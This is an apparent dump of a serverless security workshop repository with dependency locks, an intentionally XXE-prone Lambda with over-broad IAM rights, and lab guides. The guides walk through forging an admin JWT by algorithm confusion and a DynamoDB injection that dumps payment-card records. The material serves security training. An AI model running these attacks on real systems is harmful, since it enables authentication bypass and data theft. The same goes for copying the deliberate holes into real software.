"sha256:b0db0cecf396033abb4a93c95d1602f268b3a68bb0a9cc06a7cff587bb9a7292", 88 | "sha256:cfee9164954c186b191b91d4193989ca994703b2fff406f71cf454a2d3c7327e", 89 | "sha256:e6347742ac8f35ded4a46ff835c60e68c22a536a8ae5c4422966d06946b6d4c6", 90 | "sha256:f27d93f0139a3c056172ebb5d4f9056e770fdf0206c2f422ff2ebbad142e09ed", 91 | "sha256:f57b76e46a58b63d1c6375017f4564a28f19a5ca912691fd2e4261b3414b618d" 92 | ], 93 | "version": "==2.7" 94 | }, 95 | "docutils": { 96 | "hashes": [ 97 | "sha256:02aec4bd92ab067f6ff27a38a38a41173bf01bed8f89157768c1573f53e474a6", 98 | "sha256:51e64ef2ebfb29cae1faa133b3710143496eca21c530f3f71424d77687764274", 99 | "sha256:7a4bd47eaf6596e1295ecb11361139febe29b084a87bf005bf899f9a42edc3c6" 100 | ], 101 | "version": "==0.14" 102 | }, 103 | "jmespath": { 104 | "hashes": [ 105 | "sha256:3720a4b1bd659dd2eecad0666459b9788813e032b83e7ba58578e48254e0a0e6", 106 | "sha256:bde2aef6f44302dfb30320115b17d030798de8c4110e28d5cf6cf91a7a31074c" 107 | ], 108 | "version": "==0.9.4" 109 | }, 110 | "jwcrypto": { 111 | "hashes": [ 112 | "sha256:a87ac0922d09d9a65011f76d99849f1fbad3d95439c7452cebf4ab0871c2b665", 113 | "sha256:e6c517d8998956e531f0a1c158b2f324c29a532a9c4b677bc30b3be14d60ad4d" 114 | ], 115 | "index": "pypi", 116 | "version": "==0.6.0" 117 | }, 118 | "lxml": { 119 | "hashes": [ 120 | "sha256:06e5599b9c54f797a3c0f384c67705a0d621031007aa2400a6c7d17300fdb995", 121 | "sha256:092237cfe4ece074401b75001a2e525fa6e1fb9d40fee8b7b132b1947d3bd2f8", 122 | "sha256:0b6d49d0a26fe8207df8dd27c40b75be4deb2277173903aa76ec3e82df77cbe7", 123 | "sha256:0f77061c20b4f32b1cf39e8f661c74e966344084c996e7b23c3a94e472461df0", 124 | "sha256:0fef86edfa2f146b4b0ae2c6c05c3e4a8f3388b3655eafbc4aab3247f4dabb24", 125 | "sha256:2f163c8844db4ed06a230ef092e2461ad01830972a896b8f3cf8b5bac70ae85d", 126 | "sha256:350333190052bbfbc3222b1805b59b7979d7276e57af2257367e15a2db27082d", 127 | "sha256:3b57dc5ed7b6a7d852c961f2389ca99404c2b59fd2088baec6fbaca02f688be4", 128 | "sha256:3e86e5df4a8edd6f725f3c76f1d45e046d4f3aa40478092e4f5f373ad1f526e2", 129 | "sha256:43dac60d10341d3e56be089cd0798b70e70d45ce32279f4c3190d8cbd71350e4", 130 | "sha256:4665ee84ac8ba11d58f1ed517e29ea8536b4ae4e0c6fb6c7d3dce70abcd279f0", 131 | "sha256:5033cf606a7cb559db967689b1b2e743994000f783607ba4c484e90917395ad7", 132 | "sha256:75d731af05bf40f808d7716e0d26b4b02913402f861c032ce8c36efca350ae72", 133 | "sha256:7720174604c7647e357566ac9e4d135c137caed5e7b01223551a4c81c8dc8b9a", 134 | "sha256:b33ec641309bcea40c76c1b105f988e4e8f9a2f1ee1486aa5c0eeef33956c9bb", 135 | "sha256:d1135dc0ac197242028ede085b693ba1f2bff7f0f9b91080e2540348312bfa53", 136 | "sha256:d5a61e9c2322b45f259909a02b76bc98c4641214e22a37191d00c151aa9cdb9a", 137 | "sha256:da22c4b17bc17dad9c8faf6d94c8fe568ac71c867a56631ab874da418fc7f8f7", 138 | "sha256:da5c48ec9f8d8b5df42d328b6d1fb8d9413cd664a2367ef4f6f7cc48ee5b82c0", 139 | "sha256:db2794bad21b7b30b6849b4e1537171cae8a7087711d958d69c233470dc612e7", 140 | "sha256:f1c2f67df727034f94ccb590142d1d110f3dd38f638a4f1567fdd9f39892ba05", 141 | "sha256:f840dddded8b046edc774c88ed8d2442cdb231a68894c42c74e3a809450fae76" 142 | ], 143 | "version": "==4.4.0" 144 | }, 145 | "pycparser": { 146 | "hashes": [ 147 | "sha256:a988718abfad80b6b157acce7bf130a30876d27603738ac39f140993246b25b3" 148 | ], 149 | "version": "==2.19" 150 | }, 151 | "pyjwt": { 152 | "hashes": [ 153 | "sha256:87a831b7a3bfa8351511961469ed0462a769724d4da48a501cb8c96d1e17f570", 154 | "sha256:99fe612dbe5f41e07124d9002c118c14f3ee703574ffa9779fee78135b8b94b6" 155 | ], 156 | "index": "pypi", 157 | "version": "==1.4.2" 158 | }, 159 | "python-dateutil": { 160 | "hashes": [ 161 | "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", 162 | "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e" 163 | ], 164 | "markers": "python_version >= '2.7'", 165 | "version": "==2.8.0" 166 | }, 167 | "python-docx": { 168 | "hashes": [ 169 | "sha256:e55baa295f7de8c6b84c9cffd7b8072593026f67001066482bc559e20a0053ee" 170 | ], 171 | "index": "pypi", 172 | "version": "==0.8.3" 173 | }, 174 | "pyyaml": { 175 | "hashes": [ 176 | "sha256:3d7da3009c0f3e783b2c873687652d83b1bbfd5c88e9813fb7e5b03c0dd3108b", 177 | "sha256:3ef3092145e9b70e3ddd2c7ad59bdd0252a94dfe3949721633e41344de00a6bf", 178 | "sha256:40c71b8e076d0550b2e6380bada1f1cd1017b882f7e16f09a65be98e017f211a", 179 | "sha256:558dd60b890ba8fd982e05941927a3911dc409a63dcb8b634feaa0cda69330d3", 180 | "sha256:a7c28b45d9f99102fa092bb213aa12e0aaf9a6a1f5e395d36166639c1f96c3a1", 181 | "sha256:aa7dd4a6a427aed7df6fb7f08a580d68d9b118d90310374716ae90b710280af1", 182 | "sha256:bc558586e6045763782014934bfaf39d48b8ae85a2713117d16c39864085c613", 183 | "sha256:d46d7982b62e0729ad0175a9bc7e10a566fc07b224d2c79fafb5e032727eaa04", 184 | "sha256:d5eef459e30b09f5a098b9cea68bebfeb268697f78d647bd255a085371ac7f3f", 185 | "sha256:e01d3203230e1786cd91ccfdc8f8454c8069c91bee3962ad93b87a4b2860f537", 186 | "sha256:e170a9e6fcfd19021dd29845af83bb79236068bf5fd4df3327c1be18182b2531" 187 | ], 188 | "index": "pypi", 189 | "version": "==3.13" 190 | }, 191 | "s3transfer": { 192 | "hashes": [ 193 | "sha256:6efc926738a3cd576c2a79725fed9afde92378aa5c6a957e3af010cb019fac9d", 194 | "sha256:b780f2411b824cb541dbcd2c713d0cb61c7d1bcadae204cdddda2b35cef493ba" 195 | ], 196 | "version": "==0.2.1" 197 | }, 198 | "six": { 199 | "hashes": [ 200 | "sha256:3350809f0555b11f552448330d0b52d5f24c91a322ea4a15ef22629740f3761c", 201 | "sha256:d16a0141ec1a18405cd4ce8b4613101da75da0e9a7aec5bdd4fa804d0e0eba73" 202 | ], 203 | "version": "==1.12.0" 204 | }, 205 | "urllib3": { 206 | "hashes": [ 207 | "sha256:b246607a25ac80bedac05c6f282e3cdaf3afb65420fd024ac94435cabe6e18d1", 208 | "sha256:dbe59173209418ae49d485b87d1681aefa36252ee85884c31346debd19463232" 209 | ], 210 | "markers": "python_version >= '3.4'", 211 | "version": "==1.25.3" 212 | } 213 | }, 214 | "develop": { 215 | "argparse": { 216 | "hashes": [ 217 | "sha256:62b089a55be1d8949cd2bc7e0df0bddb9e028faefc8c32038cc84862aefdd6e4", 218 | "sha256:c31647edb69fd3d465a847ea3157d37bed1f95f19760b11a47aa91c04b666314" 219 | ], 220 | "version": "==1.4.0" 221 | }, 222 | "boto3": { 223 | "hashes": [ 224 | "sha256:01f1792838981191da87bed271f2b486841a282fcd78a3b5bac98e5b85c95ba8", 225 | "sha256:0f1f796abf85e53a8a50b893cbeccd93ee081184453127b663da4b97d72aa0cc" 226 | ], 227 | "index": "pypi", 228 | "version": "==1.9.197" 229 | }, 230 | "botocore": { 231 | "hashes": [ 232 | "sha256:6e7c49014430f73ba6ab638d4ad313f8522b8185e476fe1a57ce9cd50c596062", 233 | "sha256:78627966a280328e4a7018758e91e6413d5cae8387e08ab219e232689a92cb45" 234 | ], 235 | "version": "==1.12.197" 236 | }, 237 | "certifi": { 238 | "hashes": [ 239 | "sha256:046832c04d4e752f37383b628bc601a7ea7211496b4638f6514d0e5b9acc4939", 240 | "sha256:945e3ba63a0b9f577b1395204e13c3a231f9bc0223888be653286534e5873695" 241 | ], 242 | "version": "==2019.6.16" 243 | }, 244 | "chardet": { 245 | "hashes": [ 246 | "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae", 247 | "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691" 248 | ], 249 | "version": "==3.0.4" 250 | }, 251 | "docutils": { 252 | "hashes": [ 253 | "sha256:02aec4bd92ab067f6ff27a38a38a41173bf01bed8f89157768c1573f53e474a6", 254 | "sha256:51e64ef2ebfb29cae1faa133b3710143496eca21c530f3f71424d77687764274", 255 | "sha256:7a4bd47eaf6596e1295ecb11361139febe29b084a87bf005bf899f9a42edc3c6" 256 | ], 257 | "version": "==0.14" 258 | }, 259 | "faker": { 260 | "hashes": [ 261 | "sha256:96ad7902706f2409a2d0c3de5132f69b413555a419bacec99d3f16e657895b47", 262 | "sha256:b3bb64aff9571510de6812df45122b633dbc6227e870edae3ed9430f94698521" 263 | ], 264 | "index": "pypi", 265 | "version": "==2.0.0" 266 | }, 267 | "huepy": { 268 | "hashes": [ 269 | "sha256:200c5af131fe52d3b5a0b2061a1eaaf60b34d6aafb98f11f22f503d14c9bfbf4" 270 | ], 271 | "index": "pypi", 272 | "version": "==0.9.8.1" 273 | }, 274 | "idna": { 275 | "hashes": [ 276 | "sha256:c357b3f628cf53ae2c4c05627ecc484553142ca23264e593d327bcde5e9c3407", 277 | "sha256:ea8b7f6188e6fa117537c3df7da9fc686d485087abf6ac197f9c46432f7e4a3c" 278 | ], 279 | "version": "==2.8" 280 | }, 281 | "jmespath": { 282 | "hashes": [ 283 | "sha256:3720a4b1bd659dd2eecad0666459b9788813e032b83e7ba58578e48254e0a0e6", 284 | "sha256:bde2aef6f44302dfb30320115b17d030798de8c4110e28d5cf6cf91a7a31074c" 285 | ], 286 | "version": "==0.9.4" 287 | }, 288 | "lambdaguard": { 289 | "hashes": [ 290 | "sha256:0845d6e659368d2c8e2b709fa178777b2a648b7d2ced27e3f76dbb5b8e0dd09c", 291 | "sha256:6e4d83608a12af1f80ce56af27b6a73aa94eb7f4ba02fff16740c69d85074517" 292 | ], 293 | "index": "pypi", 294 | "version": "==2.0.1" 295 | }, 296 | "python-dateutil": { 297 | "hashes": [ 298 | "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", 299 | "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e" 300 | ], 301 | "markers": "python_version >= '2.7'", 302 | "version": "==2.8.0" 303 | }, 304 | "requests": { 305 | "hashes": [ 306 | "sha256:11e007a8a2aa0323f5a921e9e6a2d7e4e67d9877e85773fba9ba6419025cbeb4", 307 | "sha256:9cf5292fcd0f598c671cfc1e0d7d1a7f13bb8085e9a590f48c010551dc6c4b31" 308 | ], 309 | "version": "==2.22.0" 310 | }, 311 | "s3transfer": { 312 | "hashes": [ 313 | "sha256:6efc926738a3cd576c2a79725fed9afde92378aa5c6a957e3af010cb019fac9d", 314 | "sha256:b780f2411b824cb541dbcd2c713d0cb61c7d1bcadae204cdddda2b35cef493ba" 315 | ], 316 | "version": "==0.2.1" 317 | }, 318 | "six": { 319 | "hashes": [ 320 | "sha256:3350809f0555b11f552448330d0b52d5f24c91a322ea4a15ef22629740f3761c", 321 | "sha256:d16a0141ec1a18405cd4ce8b4613101da75da0e9a7aec5bdd4fa804d0e0eba73" 322 | ], 323 | "version": "==1.12.0" 324 | }, 325 | "text-unidecode": { 326 | "hashes": [ 327 | "sha256:5a1375bb2ba7968740508ae38d92e1f889a0832913cb1c447d5e2046061a396d", 328 | "sha256:801e38bd550b943563660a91de8d4b6fa5df60a542be9093f7abf819f86050cc" 329 | ], 330 | "version": "==1.2" 331 | }, 332 | "urllib3": { 333 | "hashes": [ 334 | "sha256:b246607a25ac80bedac05c6f282e3cdaf3afb65420fd024ac94435cabe6e18d1", 335 | "sha256:dbe59173209418ae49d485b87d1681aefa36252ee85884c31346debd19463232" 336 | ], 337 | "markers": "python_version >= '3.4'", 338 | "version": "==1.25.3" 339 | } 340 | } 341 | } 342 | -------------------------------------------------------------------------------- /XXE/Pass.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/XXE/Pass.docx -------------------------------------------------------------------------------- /XXE/handler.py: -------------------------------------------------------------------------------- 1 | from docx import Document 2 | import boto3 3 | import urllib 4 | from io import StringIO 5 | 6 | s3 = boto3.resource('s3') 7 | 8 | def main(event, context): 9 | bucket = event['Records'][0]['s3']['bucket']['name'] 10 | key = urllib.parse.unquote_plus(event['Records'][0]['s3']['object']['key']) 11 | fileobj = s3.Object(bucket, key) 12 | with open("/tmp/Some.docx", "wb") as write_doc: 13 | write_doc.write(fileobj.get()['Body'].read()) 14 | doc = Document("/tmp/Some.docx") 15 | for para in doc.paragraphs: 16 | print(para.text) -------------------------------------------------------------------------------- /XXE/requirements.txt: -------------------------------------------------------------------------------- 1 | boto3 2 | python-docx==0.8.3 3 | -------------------------------------------------------------------------------- /XXE/serverless.yml: -------------------------------------------------------------------------------- 1 | service: we45-sls-workshop-xxe 2 | provider: 3 | name: aws 4 | runtime: python3.7 5 | memorySize: 2048 6 | timeout: 20 7 | stage: dev 8 | region: us-west-2 9 | 10 | # you can add statements to the Lambda function's IAM Role here 11 | iamRoleStatements: 12 | - Effect: "Allow" 13 | Action: 14 | - "logs:*" 15 | - "s3:*" 16 | Resource: 17 | - "*" 18 | 19 | plugins: 20 | - serverless-python-requirements 21 | custom: 22 | pythonRequirements: 23 | dockerizePip: true 24 | usePipenv: false 25 | slim: true 26 | strip: false 27 | 28 | functions: 29 | xxe: 30 | handler: handler.main 31 | timeout: 20 32 | events: 33 | - s3: 34 | bucket: we45-sls-xxe-${sls:instanceId} 35 | event: s3:ObjectCreated:* -------------------------------------------------------------------------------- /deck/Pwning Serverless Applications - DefCon27.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/deck/Pwning Serverless Applications - DefCon27.pdf -------------------------------------------------------------------------------- /docs/.nojekyll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/.nojekyll -------------------------------------------------------------------------------- /docs/Algorithm-Confusion/README.md: -------------------------------------------------------------------------------- 1 | # Algorithm Confusion 2 | 3 | You can read more about this flaw here: 4 | * [CVE-2017-11424](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=873244) 5 | * [Auth0 Blog](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) 6 | 7 | 8 | **Note:** If you have not setup your aws cli follow [AWS-CLI-Configuration](aws-configure/README.md) under the `Setup` section* 9 | 10 | ## Instructions 11 | * Step 1: In your image, navigate over to `/root/labs/Serverless-Workshop/` 12 | 13 | ```commandline 14 | cd /root/labs/Serverless-Workshop/ 15 | ``` 16 | 17 | * Step 2: Now run `pipenv shell` 18 | 19 | ```commandline 20 | pipenv shell 21 | ``` 22 | 23 | * Step 3: In your image, navigate over to `/root/labs/Serverless-Workshop/Algo-Confusion` 24 | 25 | ```commandline 26 | cd /root/labs/Serverless-Workshop/Algo-Confusion 27 | ``` 28 | 29 | * Step 4: Run `sls plugin install -n serverless-python-requirements` 30 | 31 | ```commandline 32 | sls plugin install -n serverless-python-requirements 33 | ``` 34 | 35 | * Wait for instructor to explain the contents of the lab 36 | 37 | * Step 5: Let's look at the contents of the `serverless.yml` [here](https://github.com/we45/Serverless-Workshop/blob/master/Algo-Confusion/serverless.yml) 38 | 39 | * Step 6: Deploy the function with the command `sls deploy` 40 | 41 | ```commandline 42 | sls deploy 43 | ``` 44 | 45 | * Wait for the function to deploy completely. you should see something like this: 46 | 47 | ```bash 48 | Serverless: Stack update finished... 49 | Service Information 50 | service: we45-sls-workshop-algo-confusion 51 | stage: dev 52 | region: us-west-2 53 | stack: we45-sls-workshop-algo-confusion-dev 54 | resources: 18 55 | api keys: 56 | None 57 | endpoints: 58 | GET - https://XXXXXXX.execute-api.us-west-2.amazonaws.com/dev/init 59 | GET - https://XXXXXX.execute-api.us-west-2.amazonaws.com/dev/verify 60 | functions: 61 | init-algo: we45-sls-workshop-algo-confusion-dev-init-algo 62 | verify-algo: we45-sls-workshop-algo-confusion-dev-verify-algo 63 | ``` 64 | 65 | * Step 7: Now run 66 | 67 | ```bash 68 | http GET https://XXXXXXX.execute-api.us-west-2.amazonaws.com/dev/init 69 | ``` 70 | 71 | You should get a response like so: 72 | 73 | ```json 74 | { 75 | "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidXNlciIsImF1dGhlbnRpY2F0ZWQiOmZhbHNlfQ.Nz39CRtIFrCsX76B9Dq0aEOSsWQ9UwDFNqla1Xj1PHiIOSh0WFcJHWEO1NF7YKq6Uv8C__tKQA2fg3qH_m7gLSLkQSf2eGRAubJXMU2XRRlkhMKvI6iksEnjUBvRAbt_UhN5mDcXHjBpX_1q2wadmVbiBz6YkfkffdTMas7ywLFK43tKvL9Iw32fRgoP__K93EaYdvT8Wxm0LdMU_RxmBqjrf4nwTrGynwoWqc2ZRKYa7tZMNCGNIEiNQxK1b4p39MpZqwhIVkFsFMNwd_jECE0nfzcskTQdtZG4KC1WLSnOB7XNjWwAM_NUujCp_sB_iTcEGQlBfo-Oxx5yULXSBA" 76 | } 77 | ``` 78 | 79 | * Step 8: In your image, navigate over to `/root/labs/Serverless-Workshop/` 80 | 81 | ```commandline 82 | cd /root/labs/Serverless-Workshop/ 83 | ``` 84 | 85 | * Step 9: Run `pip3 install pipenv` 86 | 87 | ```commandline 88 | pip3 install pipenv 89 | ``` 90 | 91 | * Step 10: `pipenv shell` 92 | 93 | ```commandline 94 | pipenv shell 95 | ``` 96 | 97 | ```commandline 98 | pipenv install pyjwt 99 | ``` 100 | 101 | ```commandline 102 | pipenv install huepy 103 | ``` 104 | 105 | 106 | * Step 11: In your image, navigate over to `/root/labs/Serverless-Workshop/Algo-Confusion` 107 | 108 | ```commandline 109 | cd /root/labs/Serverless-Workshop/Algo-Confusion 110 | ``` 111 | 112 | * Step 12: Now run `python token_gen.py public.pem` 113 | 114 | ```commandline 115 | python token_gen.py public.pem 116 | ``` 117 | * You should see a response like so 118 | 119 | ```bash 120 | [+] Token is: 121 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJhdXRoZW50aWNhdGVkIjp0cnVlfQ.kdps5gagmmxBnnwtAIuEtJBMu6rWjG8wY4V2X9jlfOM 122 | ``` 123 | 124 | * Step 13: Copy the token and run: 125 | 126 | ```bash 127 | http GET https://XXXXXX.execute-api.us-west-2.amazonaws.com/dev/verify Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJhdXRoZW50aWNhdGVkIjp0cnVlfQ.kdps5gagmmxBnnwtAIuEtJBMu6rWjG8wY4V2X9jlfOM 128 | ``` 129 | 130 | * You should see a response like this: 131 | 132 | ```bash 133 | HTTP/1.1 200 OK 134 | Connection: keep-alive 135 | Content-Length: 40 136 | Content-Type: application/json 137 | x-amzn-RequestId: e66e15fb-b1b2-11e9-8818-53f47d545fa4 138 | 139 | { 140 | "authenticated": true, 141 | "user": "admin" 142 | } 143 | ``` 144 | 145 | ### Teardown 146 | 147 | * Step 14: In your image, navigate over to `/root/labs/Serverless-Workshop/Algo-Confusion` 148 | 149 | ```commandline 150 | cd /root/labs/Serverless-Workshop/Algo-Confusion 151 | ``` 152 | 153 | * Step 15: Run `sls remove --force` to remove stack 154 | 155 | ```commandline 156 | sls remove --force 157 | ``` 158 | 159 | * Step 16: Deactivate `pipenv` using `deactivate` command 160 | 161 | ```commandline 162 | deactivate 163 | ``` 164 | 165 | ```commandline 166 | exit 167 | ``` 168 | -------------------------------------------------------------------------------- /docs/Basic-API/README.md: -------------------------------------------------------------------------------- 1 | # Basics - Serverless Events 2 | 3 | >This lesson is a basic lesson in triggering serverless functions for API Gateway Events. 4 | 5 | **Note:** If you have not setup your aws cli follow [AWS-CLI-Configuration](aws-configure/README.md) under the `Setup` section* 6 | 7 | * Step 1: In your image, navigate over to `/root/labs/Serverless-Workshop/Basic-API` 8 | 9 | ```commandline 10 | cd /root/labs/Serverless-Workshop/Basic-API 11 | ``` 12 | 13 | ```commandline 14 | git pull 15 | ``` 16 | 17 | * Step 2: Run `sls plugin install -n serverless-python-requirements` 18 | 19 | ```commandline 20 | sls plugin install -n serverless-python-requirements 21 | ``` 22 | 23 | * Wait for instructor to explain the contents of the lab 24 | 25 | * Step 3: Let's look at the contents of the `serverless.yml` [here](https://github.com/we45/Serverless-Workshop/blob/master/Basic-API/serverless.yml) 26 | 27 | * Step 4: Deploy the function with the command `sls deploy` 28 | 29 | ```commandline 30 | sls deploy 31 | ``` 32 | 33 | * Wait for the function to deploy completely 34 | 35 | * Step 5: Now, invoke the function with: 36 | 37 | ```commandline 38 | http GET https://XXXXXXXX.execute-api.us-west-2.amazonaws.com/dev/hello 39 | ``` 40 | 41 | ### Teardown 42 | 43 | * Step 6: In your image, navigate over to `/root/labs/Serverless-Workshop/Basic-API` 44 | 45 | ```commandline 46 | cd /root/labs/Serverless-Workshop/Basic-API 47 | ``` 48 | 49 | * Step 7: Run `sls remove` to remove stack 50 | 51 | ```commandline 52 | sls remove --force 53 | ``` 54 | -------------------------------------------------------------------------------- /docs/Basic-Events/README.md: -------------------------------------------------------------------------------- 1 | # Basics - Serverless Events 2 | 3 | >This lesson is a basic lesson in triggering serverless functions for Non-API Gateway Events. 4 | In this lesson, we will trigger a Serverless Function whenever messages are published over a particular SNS (Simple Notification Service) Topic (Channel) 5 | 6 | **Note:** If you have not setup your aws cli follow [AWS-CLI-Configuration](aws-configure/README.md) under the `Setup` section* 7 | 8 | * Step 1: In your image, navigate over to `/root/labs/Serverless-Workshop/Basic-Event` 9 | 10 | ```commandline 11 | cd /root/labs/Serverless-Workshop/Basic-Event 12 | ``` 13 | 14 | * Step 2: Run `sls plugin install -n serverless-python-requirements` 15 | 16 | ```commandline 17 | sls plugin install -n serverless-python-requirements 18 | ``` 19 | 20 | * Wait for instructor to explain the contents of the lab 21 | 22 | * Step 3: Let's look at the contents of the `serverless.yml` [here](https://github.com/we45/Serverless-Workshop/blob/master/Basic-Event/serverless.yml) 23 | 24 | * Step 4: Deploy the function with the command `sls deploy` 25 | 26 | ```commandline 27 | sls deploy 28 | ``` 29 | 30 | * Wait for the function to deploy completely 31 | 32 | * Step 5: Now access your AWS Console and look for Simple Notification Service or `SNS` 33 | 34 | ![SNS-Search](img/sns-search.png) 35 | 36 | * Step 6: Click to go to SNS Main Page, which looks like this and click on topics to find the ARNS of all your current topics 37 | 38 | ![SNS-Topics](img/sns-topics.png) 39 | 40 | * Step 7: Now Copy the Topic-ARN 41 | 42 | ![Copy-Topics](img/copy-topic-arn.png) 43 | 44 | * In your lab environment, in the CLI, enter the following command 45 | 46 | * Step 8: You have to have configured AWS CLI by now* 47 | 48 | ```commandline 49 | aws sns publish --region '' --topic-arn "" --message "I am going to be pwning Serverless Functions soon!" 50 | 51 | ``` 52 | **Remember to substitute the `` with the ARN that you copied from the previous step and also replace the region** 53 | 54 | * Step 9: Now, let's see whether the Serverless Function worked, by running the following command 55 | 56 | ```bash 57 | 58 | sls logs --function sns-reactor 59 | ``` 60 | ```commandline 61 | START RequestId: 44478848-a777-45e0-a1cf-e11cd499071e Version: $LATEST 62 | END RequestId: 44478848-a777-45e0-a1cf-e11cd499071e 63 | REPORT RequestId: 44478848-a777-45e0-a1cf-e11cd499071e Duration: 1.41 ms Billed Duration: 100 ms Memory Size: 512 MB Max Memory Used: 52 MB 64 | 65 | START RequestId: 1066617f-4b0f-4683-b91b-ffbd81e40a86 Version: $LATEST 66 | {'Records': TRUNCATED 67 | 68 | ``` 69 | 70 | ### Teardown 71 | 72 | * Step 10: In your image, navigate over to `/root/labs/Serverless-Workshop/Basic-Event` 73 | 74 | ```commandline 75 | cd /root/labs/Serverless-Workshop/Basic-Event 76 | ``` 77 | 78 | * Step 11: Run `sls remove` to remove stack 79 | 80 | ```commandline 81 | sls remove --force 82 | ``` 83 | -------------------------------------------------------------------------------- /docs/Basic-Events/img/copy-topic-arn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/Basic-Events/img/copy-topic-arn.png -------------------------------------------------------------------------------- /docs/Basic-Events/img/sns-search.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/Basic-Events/img/sns-search.png -------------------------------------------------------------------------------- /docs/Basic-Events/img/sns-topics.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/Basic-Events/img/sns-topics.png -------------------------------------------------------------------------------- /docs/DynamoDB-Injection/README.md: -------------------------------------------------------------------------------- 1 | # DynamoDB Injection 2 | 3 | This attack/payload has been documented [here](https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac) article. 4 | 5 | On reading, you'll see that its a NoSQL Injection attack that's predicated on using the `gt` operator. One of the main reasons that this attack is made possible, is because of badly configured IAM privileges 6 | 7 | **Note:** If you have not setup your aws cli follow [AWS-CLI-Configuration](aws-configure/README.md) under the `Setup` section* 8 | 9 | 10 | * Step 1: In your image, navigate over to `/root/labs/Serverless-Workshop/` 11 | 12 | ```commandline 13 | cd /root/labs/Serverless-Workshop/ 14 | ``` 15 | 16 | * Step 2: Run `pip3 install pipenv` 17 | 18 | ```commandline 19 | pip3 install pipenv 20 | ``` 21 | 22 | * Step 3: `pipenv shell` 23 | 24 | ```commandline 25 | pipenv shell 26 | ``` 27 | 28 | ```commandline 29 | pipenv install boto3 30 | ``` 31 | 32 | ```commandline 33 | pipenv install faker 34 | ``` 35 | 36 | ```commandline 37 | pipenv install huepy 38 | ``` 39 | 40 | * Step 4: In your image, navigate over to `/root/labs/Serverless-Workshop/DynamoDB-Injection` 41 | 42 | ```commandline 43 | cd /root/labs/Serverless-Workshop/DynamoDB-Injection 44 | ``` 45 | 46 | * Step 5: Run `sls plugin install -n serverless-python-requirements` 47 | 48 | ```commandline 49 | sls plugin install -n serverless-python-requirements 50 | ``` 51 | 52 | * Wait for instructor to explain the contents of the lab 53 | 54 | * Step 6: Let's look at the contents of the `serverless.yml` [here](https://github.com/we45/Serverless-Workshop/blob/master/DynamoDB-Injection/serverless.yml) 55 | 56 | * Step 7: Deploy the function with the command `sls deploy` 57 | 58 | ```commandline 59 | sls deploy 60 | ``` 61 | 62 | * Wait for the function to deploy completely 63 | 64 | 65 | * Step 8: In your image, navigate over to `/root/labs/Serverless-Workshop/DynamoDB-Injection/ops` 66 | 67 | ```commandline 68 | cd /root/labs/Serverless-Workshop/DynamoDB-Injection/ops 69 | ``` 70 | 71 | * Step 9: Create dummy users `python create_dummies.py users we45-sls-users` 72 | 73 | ```commandline 74 | python create_dummies.py users we45-sls-users 75 | ``` 76 | 77 | * Step 10: Create dummy payment cards `python create_dummies.py cards we45-sls-payments` 78 | 79 | ```commandline 80 | python create_dummies.py cards we45-sls-payments 81 | ``` 82 | 83 | 84 | * Step 11: Let's now run a genuine search against the database with this command 85 | 86 | ```commandline 87 | 88 | http POST db=we45-sls-users search_term=Mark search_operator=EQ search_field=first_name 89 | 90 | ``` 91 | 92 | * Replace the `URL` from **Step 7** 93 | 94 | * Step 12: Now let's run the exploit 95 | 96 | ```commandline 97 | 98 | http POST db=we45-sls-payments search_term="*" search_operator=GT search_field=payment-card 99 | 100 | ``` 101 | 102 | * Replace the `URL` from **Step 7** 103 | 104 | ### Teardown 105 | 106 | * Step 13: In your image, navigate over to `/root/labs/Serverless-Workshop/DynamoDB-Injection` 107 | 108 | ```commandline 109 | cd /root/labs/Serverless-Workshop/DynamoDB-Injection 110 | ``` 111 | 112 | * Step 14: Run `sls remove` to remove stack 113 | 114 | ```commandline 115 | sls remove --force 116 | ``` 117 | 118 | * Step 15: In your image, navigate over to `/root/labs/Serverless-Workshop/` 119 | 120 | ```commandline 121 | cd /root/labs/Serverless-Workshop/ 122 | ``` 123 | 124 | * Step 16: Deactivate `pipenv` using `deactivate` command 125 | 126 | ```commandline 127 | deactivate 128 | ``` 129 | 130 | ```commandline 131 | exit 132 | ``` 133 | -------------------------------------------------------------------------------- /docs/Insecure-Deserialization/README.md: -------------------------------------------------------------------------------- 1 | # Insecure Deserialization 2 | 3 | >In this example, we'll leverage an Insecure Deserialization Attack to compromise and perform lateral movement against the AWS Account 4 | 5 | **Note:** If you have not setup your aws cli follow [AWS-CLI-Configuration](aws-configure/README.md) under the `Setup` section* 6 | 7 | * Step 1: In your image, navigate over to `/root/labs/Serverless-Workshop/Insecure-Deserialization` 8 | 9 | ```commandline 10 | cd /root/labs/Serverless-Workshop/Insecure-Deserialization 11 | ``` 12 | 13 | * Step 2: Run `sls plugin install -n serverless-python-requirements` 14 | 15 | ```commandline 16 | sls plugin install -n serverless-python-requirements 17 | ``` 18 | 19 | * Wait 